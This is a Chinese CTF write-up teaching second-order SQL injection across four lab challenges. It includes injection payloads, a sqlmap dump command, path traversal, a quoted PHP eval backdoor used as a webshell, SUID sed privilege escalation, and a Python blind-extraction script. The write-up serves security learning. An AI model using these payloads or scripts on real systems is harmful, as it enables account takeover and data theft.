用户跟程序交互时,通过注册,修改密码等操作将数据存入数据库中,如果没有进行过滤或者只是简单的转义后就写入到数据库中,假如用户输入恶意sql语句造成sql语句的拼接和截断,就会造成越权或者sql注入。
二次注入是存储型注入,二次注入一般出现在注册和修改密码等处
例如修改密码的sql语句是
1 $ sql = "UPDATE users SET PASSWORD='$ pass' where username='$ username' and password='$ curr_pass' " ;
我传入的username为admin'#
那么语句就会变成
1 $ sql = "UPDATE users SET PASSWORD=’$ pass’ where username=’admin‘#’ and password=’$ curr_pass’ " ;
实际上执行的是
1 $ sql = "UPDATE users SET PASSWORD=’$ pass’ where username=’admin‘
那么就可以越权修改admin的密码了
例题1 注册账号,无过滤
[October 2019]Twice SQL Injection 开局有一个注册的跳转 随便注册一个进去发现没有利用的地方 尝试构造语句 注册 用户名1’ union select 666 # 密码123 登录 发现回显 没有过滤,直接联合查询找到flag在flag表 最终payload 1 ‘union select flag from flag # 123
例题2 修改密码,无过滤
[NSSRound#1 Basic]sql_by_sql 随便注册一个账号登录 发现/update路由修改密码 查看源码
注册一个admin'--+
#账号 然后登录admin'--+
点击修改密码 修改成功后admin的密码被修改了,这里相对于执行 update user set password=’%s’ where username=’admin’–+’;登录admin 抓个查询的包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /query HTTP /1.1 Host : node4.anna .nssctf .cn :28167 Accept : *
sqlmap -r 1.txt --batch --random-agent -T flag -C flag --dump
例题3
登录改密越权,无过滤
[湖湘杯 2021 final]Penetratable 尝试一下发现是双引号闭合 注册 **admin"#**
登录 发现这里name直接显示的是admin,二次注入成功 修改密码然后登录admin,这里c的参数变成admin了 发现admin并没有什么东西 想起刚开始的页面 猜测要root账户登录 如法炮制 注册root”# 但是在修改密码时发现没有权限 抓包发现了更新密码的路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /?c=admin&m=updatePass HTTP /1.1 Host : node4.anna .nssctf .cn :28896 Accept -Encoding : gzip, deflateContent -Type : application/x-www-form-urlencoded; charset=UTF -8 Accept : text/plain, *
cm9vdA==
root base64 要之前管理员的cookie 登录root 在管理下载处发现文件遍历路由
1 2 3 4 5 6 7 8 9 GET /?c=root&m=downloadRequestLog&filename=20240424. txt HTTP /1.1 Host : node4.anna .nssctf .cn :28896 Accept : text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/apng,*
../../../var/www/html/phpinfo.php
发现后门
1 2 3 4 <?php if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);} // hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability. ?>
/phpinfo.php?pass_31d5df001717=1q2w3e&cc=system('ls');
[http://node4.anna.nssctf.cn:28072/phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST[1]);](http://node4.anna.nssctf.cn:28072/phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST[1]);)
连接antsward 发现没权限读flagfind / -user root -perm -4000 -print 2>/dev/null
看到sed命令有s权限
sed操作: a:增加,在当前行下面增加一行指定内容。 c:替换,讲选定行替换为指定内容。 d:删除,删除选定的行。 i:插入,在选定行上面插入一行指定内容。 p:打印,如果同时指定行,表示打印指定行;如果不指定行,则表示打印所有内容,如果又非打印字符,则以ASCLL码输出。通常与“-n”选项一起使用。 s:替换,替换指定字符 y:字符转换
sed p /flag
例题4 注册回显,有过滤
[网鼎杯 2018]unfinish 猜测有注册路由register.php
注册username 1'and '0
登录 回显用户名为0,存在二次注入 测试发现有些注册不了,存在过滤 过滤了,
和information等 这里username限制了长度,爆不出表名,只能嗯猜select flag from flag
可以用类似0'+ascii(substr(database() from 1 for 1))+'0;
的方式回显出数据的ascii 如法炮制注flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import requestsimport loggingimport refrom time import sleep def search (url): flag = '' url1 = url + 'register.php' url2 = url + 'login.php' session = requests.Session () for i in range (100 ): sleep (0.3 ) # 避免过于频繁的请求 data1 = { "email" : "1234{}@123.com" .format (i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0;" .format (i), "password" : "123" } data2 = {"email" : "1234{}@123.com" .format (i), "password" : "123" } try : # 注册 r1 = session.post (url1, data=data1) # 登录 r2 = session.post (url2, data=data2) # 解析响应 res = re.search (r'<span class="user-name">\s*(\d*)\s*</span>' , r2.text ) if res : res1 = re.search (r'\d+' , res.group ()) flag += chr (int (res1.group ())) print (flag) else : logging.debug ("未找到匹配的数据" ) except requests.RequestException as e : logging.error ("请求错误: %s" , e) print ("final:" + flag)if __name__ == '__main__' : search ('http://node4.anna.nssctf.cn:28435/' )